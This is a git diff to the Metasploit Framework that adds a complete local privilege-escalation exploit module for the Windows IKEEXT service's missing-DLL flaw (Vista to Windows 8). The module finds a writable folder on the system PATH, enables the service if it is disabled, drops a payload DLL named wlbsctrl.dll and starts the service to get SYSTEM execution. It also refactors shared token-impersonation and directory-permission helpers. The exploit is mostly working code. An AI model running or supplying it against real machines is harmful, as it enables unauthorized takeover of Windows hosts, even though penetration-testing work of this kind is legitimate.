diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 9abfa7ab60..008f5ded8f 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -20,10 +20,16 @@ module Exploit::FileDropper # @return [void] # def on_new_session(session) + super + if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end + if not @dropped_files or @dropped_files.empty? + return true + end + @dropped_files.delete_if do |file| win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" @@ -58,8 +64,6 @@ module Exploit::FileDropper true end end - - super end # diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index b87bbc9f58..d65930b62c 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -177,6 +177,71 @@ module Accounts :integrity_label ][enum_value - 1] end + + # Gets an impersonation token from the primary token. + # + # @return [Fixnum] the impersonate token handle identifier if success, nil if + # fails + def get_imperstoken + adv = session.railgun.advapi32 + tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " + tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" + tok_all << " | TOKEN_ADJUST_DEFAULT" + + pid = session.sys.process.open.pid + pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token + it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token + if it["return"] #if it fails return 0 for error handling + return it["DuplicateTokenHandle"] + else + return nil + end + end + + # Gets the permissions granted from the Security Descriptor of a directory + # to an access token. + # + # @param [String] dir the directory path + # @param [Fixnum] token the access token + # @return [String, nil] a String describing the permissions or nil + def check_dir_perms(dir, token) + adv = session.railgun.advapi32 + si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" + result = "" + + #define generic mapping structure + gen_map = [0,0,0,0] + gen_map = gen_map.pack("L") + buffer_size = 500 + + #get Security Descriptor for the directory + f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) + if (f['return'] and f["lpnLengthNeeded"] <= buffer_size) + sd = f["pSecurityDescriptor"] + elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + elsif (f['GetLastError'] == 2) + vprint_error("The system cannot find the file specified: #{dir}") + return nil + else + vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}") + return nil + end + + #check for write access, called once to get buffer size + a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) + len = a["PrivilegeSetLength"] + + r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) + if !r["return"] then return nil end + if r["GrantedAccess"] > 0 then result << "R" end + + w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) + if !w["return"] then return nil end + if w["GrantedAccess"] > 0 then result << "W" end + end + end # Accounts end # Windows end # Post diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb new file mode 100644 index 0000000000..626a8f24f3 --- /dev/null +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -0,0 +1,311 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/windows/services' +require 'msf/core/post/windows/priv' + +class Metasploit3 < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts + + def initialize(info={}) + super( update_info( info, + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', + 'Description' => %q{ + This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' + (IKEEXT) service which runs as SYSTEM, and starts automatically in default + installations of Vista-Win8. + It requires an insecure bin path to plant the DLL payload. + }, + 'References' => + [ + ['URL', 'https://www.htbridge.com/advisory/HTB23108'], + ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] + ], + 'DisclosureDate' => "Oct 09 2012", + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell ' + ], + 'Platform' => [ 'win'], + 'Targets' => + [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'SessionTypes' => [ "meterpreter" ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 5, + 'ReverseConnectRetries' => 255 + }, + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) + ]) + @service_name = 'IKEEXT' + @load_lib_search_path = [ '%SystemRoot%\\System32', + '%SystemRoot%\\System', + '%SystemRoot%' + ] + @non_existant_dirs = [] + end + + def check_service_exists?(service) + srv_info = service_info(service) + + if srv_info.nil? + print_warning("Unable to enumerate services.") + return false + end + + if srv_info && srv_info['Name'].empty? + print_warning("Service #{service} does not exist.") + return false + else + return true + end + end + + def check + srv_info = service_info(@service_name) + + if !check_service_exists?(@service_name) + return Exploit::CheckCode::Safe + end + + vprint_status(srv_info.to_s) + + case srv_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") + end + + if check_search_path + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable + end + + def check_search_path + dll = 'wlbsctrl.dll' + + @load_lib_search_path.each do |path| + dll_path = "#{expand_path(path)}\\#{dll}" + + if file_exist?(dll_path) + print_warning("DLL already exists at #{dll_path}...") + return true + end + end + + return false + end + + def check_system_path + print_status("Checking %PATH% folders for write access...") + result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + + if result.nil? + print_error("Unable to retrieve %PATH% from registry.") + return + end + + paths = result.split(';') + paths.append(@load_lib_search_path).flatten!.uniq! + + paths.each do |p| + path = expand_path(p) + if exist?(path) + if check_write_access(path) + return path + end + else + # User may be able to create the path... + print_status("Path #{path} does not exist...") + @non_existant_dirs << path + end + end + + return nil + end + + def check_write_access(path) + perm = check_dir_perms(path, @token) + if perm and perm.include?('W') + print_good ("Write permissions in #{path} - #{perm}") + return true + elsif perm + vprint_status ("Permissions for #{path} - #{perm}") + else + vprint_status ("No permissions for #{path}") + end + + return false + end + + def check_dirs + print_status("Attempting to create a non-existant PATH dir to use.") + @non_existant_dirs.each do |dir| + begin + client.fs.dir.mkdir(dir) + if exist?(dir) + register_file_for_cleanup(dir) + return dir + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_status("Unable to create dir: #{dir} - #{e}") + end + end + + return nil + end + + def check_session_arch + if sysinfo['Architecture'] =~ /x64/i + if payload_instance.arch.first == 'x86' + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + else + if payload_instance.arch.first =~ /64/i + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + end + end + + def exploit + check_session_arch + + begin + @token = get_imperstoken + rescue Rex::Post::Meterpreter::RequestError + vprint_error("Error while using get_imperstoken: #{e}") + end + + fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token + + if is_system? + fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") + end + + print_status("Checking service exists...") + if !check_service_exists?(@service_name) + fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") + end + + if is_uac_enabled? + print_warning("UAC is enabled, may get false negatives on writable folders.") + end + + if datastore['DIR'].empty? + # If DLL already exists in system folders, we dont want to overwrite by accident + if check_search_path + fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") + end + + file_path = check_system_path + file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs + + if file_path.nil? + fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") + end + else + # Use manually selected Dir + file_path = datastore['DIR'] + end + + @dll_file_path = "#{file_path}\\wlbsctrl.dll" + + service_information = service_info(@service_name) + + if service_information['Startup'] == 'Disabled' + print_status("Service is disabled, attempting to enable...") + service_change_startup(@service_name, 'auto') + service_information = service_info(@service_name) + + # Still disabled + if service_information['Startup'] == 'Disabled' + fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") + end + end + + # Check architecture + dll = generate_payload_dll + + # + # Drop the malicious executable into the path + # + print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") + begin + write_file(@dll_file_path, dll) + register_file_for_cleanup(@dll_file_path) + rescue Rex::Post::Meterpreter::RequestError => e + # Can't write the file, can't go on + fail_with(Exploit::Failure::Unknown, e.message) + end + + # + # Run the service, let the Windows API do the rest + # + print_status("Launching service #{@service_name}...") + + begin + status = service_start(@service_name) + if status == 1 + print_status("Service already running, attempting to restart...") + if service_stop(@service_name) == 0 + print_status("Service stopped, attempting to start...") + if service_start(@service_name) == 0 + print_status("Service started...") + else + fail_with(Exploit::Failure::Unknown, "Unable to start service.") + end + else + fail_with(Exploit::Failure::Unknown, "Unable to stop service") + end + elsif status == 0 + print_status("Service started...") + end + rescue RuntimeError => e + raise e if e.kind_of? Msf::Exploit::Failed + if service_information['Startup'] == 'Manual' + fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") + else + if job_id + print_status("Unable to start service, handler running waiting for a reboot...") + while(true) + break if session_created? + select(nil,nil,nil,1) + end + else + fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + end + end + end + end + +end + diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index b317e3007c..e3e6c025a5 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -11,6 +11,7 @@ require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Common + include Msf::Post::Windows::Accounts def initialize(info={}) super(update_info(info, @@ -40,60 +41,6 @@ class Metasploit3 < Msf::Post ], self.class) end - def get_imperstoken - adv = session.railgun.advapi32 - tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " - tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" - tok_all << " | TOKEN_ADJUST_DEFAULT" - - #get impersonation token handle it["DuplicateTokenhandle"] carries this value - #p = kern.GetCurrentProcess() #get handle to current process - pid = session.sys.process.open.pid - pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token - it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token - if it["return"] #if it fails return 0 for error handling - return it["DuplicateTokenHandle"] - else - return 0 - end - end - - def check_dir(dir, token) - # If path doesn't exist, do not continue - begin - session.fs.dir.entries(dir) - rescue => e - vprint_error("#{e.message}: #{dir}") - return nil - end - - adv = session.railgun.advapi32 - si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" - result = "" - - #define generic mapping structure - gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") - - #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] - - #check for write access, called once to get buffer size - a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) - len = a["PrivilegeSetLength"] - - r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) - if !r["return"] then return nil end - if r["GrantedAccess"] > 0 then result << "R" end - - w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) - if !w["return"] then return nil end - if w["GrantedAccess"] > 0 then result << "W" end - end - def enum_subdirs(perm_filter, dpath, maxdepth, token) filter = datastore['FILTER'] filter = nil if datastore['FILTER'] == 'NA' @@ -110,7 +57,7 @@ class Metasploit3 < Msf::Post next if d =~ /^(\.|\.\.)$/ realpath = dpath + '\\' + d if session.fs.file.stat(realpath).directory? - perm = check_dir(realpath, token) + perm = check_dir_perms(realpath, token) if perm_filter and perm and perm.include?(perm_filter) print_status(perm + "\t" + realpath) end @@ -144,7 +91,7 @@ class Metasploit3 < Msf::Post t = get_imperstoken() rescue ::Exception => e # Failure due to timeout, access denied, etc. - t = 0 + t = nil vprint_error("Error #{e.message} while using get_imperstoken()") vprint_error(e.backtrace) end @@ -158,7 +105,7 @@ class Metasploit3 < Msf::Post print_status("Checking directory permissions from: #{path}") - perm = check_dir(path, token) + perm = check_dir_perms(path, token) if not perm.nil? # Show the permission of the parent directory if perm_filter and perm.include?(perm_filter) @@ -188,7 +135,7 @@ class Metasploit3 < Msf::Post t = get_token - if t == 0 + unless t print_error("Getting impersonation token failed") else print_status("Got token: #{t.to_s}...")